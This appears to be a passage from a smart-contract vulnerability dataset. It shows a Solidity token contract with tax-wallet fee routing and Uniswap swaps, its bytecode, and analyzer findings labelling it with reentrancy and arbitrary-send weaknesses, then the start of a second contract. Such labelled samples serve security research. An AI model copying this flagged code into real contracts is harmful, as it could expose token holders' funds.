require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!_canTrade,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswap = _uniswapV2Router;
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612231565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611df4565b6103c2565b6040516101579190612216565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b6040516101829190612393565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611da1565b6103ee565b6040516101bf9190612216565b60405180910390f35b3480156101d457600080fd5b506101dd6104c7565b6040516101ea9190612408565b60405180910390f35b3480156101ff57600080fd5b506102086104d0565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d07565b61054a565b60405161023e9190612393565b60405180910390f35b34801561025357600080fd5b5061025c61059b565b005b34801561026a57600080fd5b506102736106ee565b6040516102809190612148565b60405180910390f35b34801561029557600080fd5b5061029e610717565b6040516102ab9190612231565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e61565b610754565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611df4565b6107cc565b6040516103119190612216565b60405180910390f35b34801561032657600080fd5b5061032f6107ea565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d61565b610cf7565b6040516103659190612393565b60405180910390f35b34801561037a57600080fd5b50610383610d7e565b005b60606040518060400160405280600981526020017f556c7175696f7272610000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610df0565b8484610df8565b6001905092915050565b6000655af3107a4000905090565b60006103fb848484610fc3565b6104bc84610407610df0565b6104b7856040518060600160405280602881526020016129e360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046d610df0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b9092919063ffffffff16565b610df8565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610511610df0565b73ffffffffffffffffffffffffffffffffffffffff161461053157600080fd5b600061053c3061054a565b90506105478161128f565b50565b6000610594600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611517565b9050919050565b6105a3610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610627906122f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f554c5155494f5252410000000000000000000000000000000000000000000000815250905090565b61075c610df0565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b557600080fd5b600981106107c257600080fd5b8060088190555050565b60006107e06107d9610df0565b8484610fc3565b6001905092915050565b6107f2610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906122f3565b60405180910390fd5b600b60149054906101000a900460ff16156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690612373565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061095c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a4000610df8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611d34565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611d34565b6040518363ffffffff1660e01b8152600401610a91929190612163565b602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611d34565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b6c3061054a565b600080610b776106ee565b426040518863ffffffff1660e01b8152600401610b99969594939291906121b5565b6060604051808303818588803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610beb9190611e8e565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca192919061218c565b602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf39190611e34565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbf610df0565b73ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b6000479050610ded81611585565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90612353565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612293565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb69190612393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612253565b60405180910390fd5b600081116110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90612313565b60405180910390fd5b6110ee6106ee565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561115c575061112c6106ee565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121b57600061116c3061054a565b9050600b60159054906101000a900460ff161580156111d95750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f15750600b60169054906101000a900460ff165b15611219576111ff8161128f565b600047905060008111156112175761121647611585565b5b505b505b6112268383836115f1565b505050565b6000838311158290611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a9190612231565b60405180910390fd5b50600083856112829190612559565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112c7576112c66126b4565b5b6040519080825280602002602001820160405280156112f55781602001602082028036833780820191505090505b509050308160008151811061130d5761130c612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113af57600080fd5b505afa1580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190611d34565b816001815181106113fb576113fa612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df8565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114c69594939291906123ae565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b600060055482111561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612273565b60405180910390fd5b6000611568611601565b905061157d818461162c90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115ed573d6000803e3d6000fd5b5050565b6115fc838383611676565b505050565b600080600061160e611841565b91509150611625818361162c90919063ffffffff16565b9250505090565b600061166e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061189a565b905092915050565b600080600080600080611688876118fd565b9550955095509550955095506116e686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c781611a0d565b6117d18483611aca565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182e9190612393565b60405180910390a3505050505050505050565b600080600060055490506000655af3107a40009050611871655af3107a400060055461162c90919063ffffffff16565b82101561188d57600554655af3107a4000935093505050611896565b81819350935050505b9091565b600080831182906118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d89190612231565b60405180910390fd5b50600083856118f091906124ce565b9050809150509392505050565b600080600080600080600080600061191a8a600754600854611b04565b925092509250600061192a611601565b9050600080600061193d8e878787611b9a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b905092915050565b60008082846119be9190612478565b905083811015611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa906122b3565b60405180910390fd5b8091505092915050565b6000611a17611601565b90506000611a2e8284611c2390919063ffffffff16565b9050611a8281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611adf8260055461196590919063ffffffff16565b600581905550611afa816006546119af90919063ffffffff16565b6006819055505050565b600080600080611b306064611b22888a611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b5a6064611b4c888b611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b8382611b75858c61196590919063ffffffff16565b61196590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bb38589611c2390919063ffffffff16565b90506000611bca8689611c2390919063ffffffff16565b90506000611be18789611c2390919063ffffffff16565b90506000611c0a82611bfc858761196590919063ffffffff16565b61196590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c365760009050611c98565b60008284611c4491906124ff565b9050828482611c5391906124ce565b14611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a906122d3565b60405180910390fd5b809150505b92915050565b600081359050611cad8161299d565b92915050565b600081519050611cc28161299d565b92915050565b600081519050611cd7816129b4565b92915050565b600081359050611cec816129cb565b92915050565b600081519050611d01816129cb565b92915050565b600060208284031215611d1d57611d1c6126e3565b5b6000611d2b84828501611c9e565b91505092915050565b600060208284031215611d4a57611d496126e3565b5b6000611d5884828501611cb3565b91505092915050565b60008060408385031215611d7857611d776126e3565b5b6000611d8685828601611c9e565b9250506020611d9785828601611c9e565b9150509250929050565b600080600060608486031215611dba57611db96126e3565b5b6000611dc886828701611c9e565b9350506020611dd986828701611c9e565b9250506040611dea86828701611cdd565b9150509250925092565b60008060408385031215611e0b57611e0a6126e3565b5b6000611e1985828601611c9e565b9250506020611e2a85828601611cdd565b9150509250929050565b600060208284031215611e4a57611e496126e3565b5b6000611e5884828501611cc8565b91505092915050565b600060208284031215611e7757611e766126e3565b5b6000611e8584828501611cdd565b91505092915050565b600080600060608486031215611ea757611ea66126e3565b5b6000611eb586828701611cf2565b9350506020611ec686828701611cf2565b9250506040611ed786828701611cf2565b9150509250925092565b6000611eed8383611ef9565b60208301905092915050565b611f028161258d565b82525050565b611f118161258d565b82525050565b6000611f2282612433565b611f2c8185612456565b9350611f3783612423565b8060005b83811015611f68578151611f4f8882611ee1565b9750611f5a83612449565b925050600181019050611f3b565b5085935050505092915050565b611f7e8161259f565b82525050565b611f8d816125e2565b82525050565b6000611f9e8261243e565b611fa88185612467565b9350611fb88185602086016125f4565b611fc1816126e8565b840191505092915050565b6000611fd9602383612467565b9150611fe4826126f9565b604082019050919050565b6000611ffc602a83612467565b915061200782612748565b604082019050919050565b600061201f602283612467565b915061202a82612797565b604082019050919050565b6000612042601b83612467565b915061204d826127e6565b602082019050919050565b6000612065602183612467565b91506120708261280f565b604082019050919050565b6000612088602083612467565b91506120938261285e565b602082019050919050565b60006120ab602983612467565b91506120b682612887565b604082019050919050565b60006120ce602583612467565b91506120d9826128d6565b604082019050919050565b60006120f1602483612467565b91506120fc82612925565b604082019050919050565b6000612114601783612467565b915061211f82612974565b602082019050919050565b612133816125cb565b82525050565b612142816125d5565b82525050565b600060208201905061215d6000830184611f08565b92915050565b60006040820190506121786000830185611f08565b6121856020830184611f08565b9392505050565b60006040820190506121a16000830185611f08565b6121ae602083018461212a565b9392505050565b600060c0820190506121ca6000830189611f08565b6121d7602083018861212a565b6121e46040830187611f84565b6121f16060830186611f84565b6121fe6080830185611f08565b61220b60a083018461212a565b979650505050505050565b600060208201905061222b6000830184611f75565b92915050565b6000602082019050818103600083015261224b8184611f93565b905092915050565b6000602082019050818103600083015261226c81611fcc565b9050919050565b6000602082019050818103600083015261228c81611fef565b9050919050565b600060208201905081810360008301526122ac81612012565b9050919050565b600060208201905081810360008301526122cc81612035565b9050919050565b600060208201905081810360008301526122ec81612058565b9050919050565b6000602082019050818103600083015261230c8161207b565b9050919050565b6000602082019050818103600083015261232c8161209e565b9050919050565b6000602082019050818103600083015261234c816120c1565b9050919050565b6000602082019050818103600083015261236c816120e4565b9050919050565b6000602082019050818103600083015261238c81612107565b9050919050565b60006020820190506123a8600083018461212a565b92915050565b600060a0820190506123c3600083018861212a565b6123d06020830187611f84565b81810360408301526123e28186611f17565b90506123f16060830185611f08565b6123fe608083018461212a565b9695505050505050565b600060208201905061241d6000830184612139565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612483826125cb565b915061248e836125cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124c3576124c2612627565b5b828201905092915050565b60006124d9826125cb565b91506124e4836125cb565b9250826124f4576124f3612656565b5b828204905092915050565b600061250a826125cb565b9150612515836125cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561254e5761254d612627565b5b828202905092915050565b6000612564826125cb565b915061256f836125cb565b92508282101561258257612581612627565b5b828203905092915050565b6000612598826125ab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125ed826125cb565b9050919050565b60005b838110156126125780820151818401526020810190506125f7565b83811115612621576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a68161258d565b81146129b157600080fd5b50565b6129bd8161259f565b81146129c857600080fd5b50565b6129d4816125cb565b81146129df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042b478378a6ab61f1fddc6d7e4887fd8085f06d5fbba5829999ad64e7bbd27ab64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,235 |
0x64fd31f695c0197b74ddd65cd6c46ded9996e433
|
/**
*Submitted for verification at Etherscan.io on 2021-01-12
*/
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
